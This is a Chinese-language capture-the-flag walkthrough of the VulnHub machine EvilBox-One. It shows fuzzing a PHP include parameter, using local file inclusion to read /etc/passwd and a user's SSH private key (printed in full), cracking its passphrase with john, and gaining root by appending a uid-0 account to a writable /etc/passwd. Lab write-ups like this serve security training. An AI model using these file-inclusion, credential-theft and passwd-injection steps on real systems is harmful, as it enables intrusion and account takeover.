vulnhub靶场——EvilBox-One

原创

С

vulnhub靶场 专栏收录该内容

9 篇文章 1 订阅 订阅专栏

准备

攻击机: kali/win11

靶机: evilbox:one : NAT 192.168.91.0 网段

下载链接:

https://download.vulnhub.com/evilbox/EvilBox-One.ova.torrent

命主页 ×	🕞 Ubuntu 🛛 🗙	🕞 EvilBoxOne 🛛
=========		
Author: Name: IP:	Mowree EvilBo>	x – One
========		===================
EvilBoxOne	login:	

注意

测试发现靶机不能正常获取IP地址。需要进入拯救模式修改网卡配置信息,将错误的网卡名称修改为 ens33即可。

参考链接:

https://www.ohhhhhh.top/2021/12/09/web渗透——dawn/

主机发现

python3 ping.py -H 192.168.91.0/24



nmap -sV -A -p- -T4 192.168.91.193 --oN nmap.txt



如图所示开放了22,80两个端口。

目录扫描

File Options About Help

O Scan Information (1998)	tion Results - List View:	Dirs: 3 Files: 1 Results -	- Tree View \ 🛆 Errors: 0 \	
Туре		Found	Response	Size
Dir	/		200	11322
Dir	/icons/		403	449
Dir	/icons/small/		403	449
Dir	/secret/		200	233
ile	/secret/evil.php		200	147
Current speed: 19	05 requests/sec		(Select and rig	ht click for more option
Current speed: 19	05 requests/sec) 1849, (C) 1891 requests	;/sec	(Select and rig	ht click for more option
urrent speed: 190 verage speed: (T arse Queue Size:	05 requests/sec) 1849, (C) 1891 requests 0	;/sec	(Select and rig Current number of running threads:	ht click for more option
urrent speed: 190 verage speed: (T arse Queue Size: otal Requests: 20	05 requests/sec) 1849, (C) 1891 requests 0)3444/1764387	;/sec	(Select and rig Current number of running threads: Change	ht click for more option
urrent speed: 190 verage speed: (T arse Queue Size: otal Requests: 20 ime To Finish: 00:	05 requests/sec) 1849, (C) 1891 requests 0)3444/1764387 :13:45	;/sec	(Select and rig Current number of running threads: Change	ht click for more option
urrent speed: 194 verage speed: (T arse Queue Size: otal Requests: 20 ime To Finish: 00: @ Back	05 requests/sec) 1849, (C) 1891 requests 0)3444/1764387 :13:45	;/sec	(Select and rig Current number of running threads: Change	ht click for more option

挨个儿查看一波。

http://192.168.91.193/robots.txt

< > C (▲ 不安全 192.168.91.193/robots	.txt
Hello H4xOr]	
obots.txt 页面得到	到了一个 name : H4x0r	

http://192.168.91.193/secret/evil.php



如图所示: evil.php 是看不见任何内容的。

🗼 root@ohh: ~ X 🗼 root@ohh: ~/myfiles/bj/linux/e: X + ~ -		×
<pre>[root @ohh)-[~/myfiles/bj/linux/evilbox] # ffuf -c -r -u http://192.168.91.193/secret/evil.php?FUZZ=/etc/passwd -w /usr/share/seclists/Discovery/Web-Co mmon.txt -fs 0</pre>	ontent/	/co
/'\ /'\ /\ \/ /\ \/ /\ \/ \ \ \/\\ \/\ \ \ \ \ \ \ \ \ \ \ \		
v1.3.1 Kali Exclusive 🚅		
<pre>:: Method : GET :: URL : http://192.168.91.193/secret/evil.php?FUZZ=/etc/passwd :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405 :: Filter : Response size: 0</pre>		
command [Status: 200, Size: 1398, Words: 13, Lines: 27] :: Progress: [4711/4711] :: Job [1/1] :: 4156 req/sec :: Duration: [0:00:05] :: Errors: 0 ::		
(root@ohh)-[~/myfiles/bj/linux/evilbox]		

如图所示: FUZZ = command, 文件包含漏洞, 我们在浏览器访问一下:

http://192.168.91.193/secret/evil.php?command=/etc/passwd

 	C ① A 不安全 view-source:192.168.91.193/secret/evil.php?command	=/etc/passwd
自动	助换行 🗌	
1	1 root:x:0:0:root:/root:/bin/bash	
2	2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin	
3	3 bin:x:2:2:bin:/bin:/usr/sbin/nologin	
4	4 sys:x:3:3:sys:/dev:/usr/sbin/nologin	
5	5 sync: x: 4: 65534: sync: /bin: /bin/sync	
6	games:x:5:60:games:/usr/games:/usr/sbin/nologin	
1	/ man: x: b: 12: man: /var/cache/man: /usr/sbin/nologin	
8	a lp:x: // /: lp://va//spool/lpd://usr/sbin/nologin	
10	mail x.o.o. mail. / var/mail. / usr/sbin/hologin/	
11	unews.x.s.s.news./var/spou/news./usr/som/notogin	
12	2 provy x: 13: 13: provy: /bin: /usr/sbin/nologin	
13	www-data;x;33;33;www-data;/var/www.fusr/shin/nologin	
14	4 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin	
15	5 list:x: 38: 38: Mailing List Manager: /var/list:/usr/sbin/nologin	
16	6 irc:x: 39: 39: ircd: /var/run/ircd: /usr/sbin/nologin	
17	7 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologia	1
18	8 nobody: x: 65534: 65534: nobody: /nonexistent: /usr/sbin/nologin	
19	_apt:x:100:65534::/nonexistent:/usr/sbin/nologin	
20	systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbi:	u/nologin
21	systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/n	ologin
22	2 systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin	
23	messagebus:x:104:110::/nonexistent//usr/sbin/nologin	
24	sshd: x: 105: 55534: : / run/ sshd: / usr/ sbin/nologin	
23	mowree:x:1000:1000:mowree,,;/nome/mowree:/0ln/bash	
20	7	
~~ (

如图所示:除了 root 之外还有一个用户名: mowree 具有 /bin/bash.

伪协议:

http://192.168.91.193/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php

得到base64:

PD9waHAKICAgICRmaWxlbmFtZSA9ICRfR0VUWydjb21tYW5kJ107CiAgICBpbmNsdWRlKCRmaWxlbmFtZSk7Cj8+Cg==

解码为:

```
<?php

$filename = $_GET['command'];

include($filename);

25
```

现在很明确知道了就是一个 include()函数。未作任何过滤。现在我们需要尝试取读取对我们有用的文件。在前面端口扫描处我 们知道开放了 22: ssh 服务,因此我们尝试读取一下 mowree 用户的是否存在私钥泄露。。

一般用户的.ssh目录下会存在三个文件:

- 1. id_rsa:私钥。
- 2. authorized_keys:认证关键字文件。
- 3. id_rsa.pub:公钥。

http://192.168.91.193/secret/evil.php?command=/home/mowree/.ssh/id_rsa

	C A 不安全 view-source:192.168.91.193/secret/evil.php?command=/home/mowree/.ssh/id_rsa
自动:	操行 🗌
1	BEGIN RSA PRIVATE KEY
2	Proc-Type: 4, ENCRYPTED
3	DEK-Info: DES-EDE3-CBC, 9FB14B3F3D04E90E
4	
5	uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEk1zONt+x4A06FmjFmR8RUpwMHurmbRC6
6	hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cX1NCST/GKQOS4QMQMUTacjZZ8EJzoe
7	o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
8	+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
9	b7A9XTubgEls1UEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
10	HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOvOzh1Z+z163SjppVPK07H4bdLg
11	9SC1omYunvJgunMSOATC8uAWzoQ5Iz5kaOh+NOofUrVtfJZ/OnhtMKW+M948EgnY
12	zh7Ffq1K1MjZHxnIS3bdc14MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
13	rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
14	tHBy6U0hKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
15	94KATK4joOIW708GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
16	VD5pEdAybKBfBG/xVu2CR378BRKz1JkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
17	Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
18	hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3LthOQDI+7Shr
19	Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnG1RqMmJK+StmqR
20	IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
21	MtqgW1L0iAgB4CnTIud6DpXQtR91//9a1rXa+4nWcDW2GoKj1jxOKNK8jXs58SnS
22	62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6cs0cwq5vvJAGh69
23	Q/ikz5XmyQ+wDwQEQDzNe0j9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
24	plia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhI0BUf34bts0iEIDf+qx2C
25	pwxoAeitMmInlZfR2sKVlleHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
26	KREAJ3S0pMp1P/ZcXjRL01ESQXeUQ2yvb61m+zphg0QjWH131gnaB1hVIj1nLnTa
27	i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
28	4Dg2QRrRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
29	8k0VjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVc1UMT8iutAg8S4VA==
30	END RSA PRIVATE KEY

认证关键字有用户信息:用户名@主机名

ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAABAQDAXfEfC22Bpq40UDZ8QXeuQa6EVJPmW6BjB4Ud/knShqQ86qCUatKaNIMfdpzKaagEBtlVUYwit68VH5xHV//mowree@EvilBoxOne



将私钥保存到kali当中。

<pre>(root ♀ ohh)-[~/myfiles/bj/linux/evilbox]</pre>	
tulal ô	
-rw-rr 1 root root 1743 Mar 4 13:17 id_rsa	
-rw-rr 1 root root 1869 Mar 4 12:40 nmap.txt	
<pre>(root ♀ohh)-[~/myfiles/bj/linux/evilbox]</pre>	

私钥破解

现在我们拿到了私钥: id_rsa 可以用于ssh登陆,但是还差密码,所以破解密码,需要一个脚本: shh2john

https://github.com/aniello001/ssh2john



如图所示: 生成了 hash文件。

现在使用john 破解

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt



如图所示:得到了密码: unicorn 独角兽。

登陆

ssh -i id_rsa mowree@192.168.91.193



如图所示:登陆成功。

flag1



提权

现在想办法提权。

首先查找是否有 SUID 提权。同时发现 sudo -I 无法使用 find / -perm -u=s -type f 2>/dev/null



如图所示:发现没有可用的SUID文件。因此此方法行不通。

发现 history 查看历史记录,没有用。内核提权也不行。

在靶机上运行 ./lse.sh 进行枚举一下。自行将其下载到靶机中,然后运行。./lse.sh -l 1 -i | more

其中发现: can we write to critical files?(我们能写关键文件吗?)为绿色的 yes.



如图所示:可以看到能写的文件为 /etc/passwd,这个文件能写,那么我们可以通过 openssl 修改 root 的密码。或者添加一个具有 root 权限的用户。

在这里我们添加一个等同于root的用户 toor,密码也为 toor。

参考我以前的笔记:

https://www.ohhhhhh.top/2021/12/17/web渗透——AI-WEB1and2/

输入命令:

openssl passwd -1 -salt toor

解释:-1:md5加密; -salt:加盐,若和密码一样,则等同于用户名。



如图所示: 生成了加密的密码

\$1\$toor\$2SrtV0M1RHrAj9uQL5C7w/

然后将 toor和这串加密密码添加到 /etc/passwd 末尾,格式与root用户的格式类似。

echo 'toor:1toor\$2SrtV0M1RHrAj9uQL5C7w/:0:0::/root:/bin/bash' >> /etc/passwd



如图所示: 成功添加到/etc/passwd 末尾。

现在尝试切换到用户 toor



如图所示: su toor, 密码 toor后给成功切换到了 root, 用户名由 toor 变为了 root。

至此提权完毕。

flag2

<pre>root@EvilBoxOne:~# /root</pre>	rd	
root@EvilBoxOne:~#	s –alh	
total 24K		
drwx 3 root	act 4.0K aco 16 2021	
drwxr-xr-x 18 root	bot 4.0K ago 16 2021	
lrwxrwxrwx 1 root	bot 9 ago 16 2021 bash history -> /dev/null	
-rw-rr 1 root	bot 3.5K ago 16 2021 .bashrc	
drwxr-xr-x 3 root	bot 4.0K ago 16 2021 .local	
-rw-rr 1 root	bot 148 ago 17 2015 .profile	
-r 1 root	bot 31 ago 16 2021 root.txt	
root@EvilBoxOne:~#	at root.txt	
360tXfdJWvdC0VavlP	bubblatsem	
routmevilboxone:~#		
root@EvilBoxOne:~#		

总结

- 1. ffuf 工具进行模糊测试。
- 2. 私钥破解密码。
- 3. openssl 提权。
- 4. lse.sh 枚举大法好。
- 5. 之前做过一遍。
- 6. 对于这个靶机需要掌握 ffuf 工具的使用,还需要掌握 id_rsa 私钥的破解方法,以及 openssl 生成并修改密码,以及枚举工 具 enumeration(lse.sh) 的使用,这个工具可以枚举出系统中的敏感文件,对于提权有很大的方便。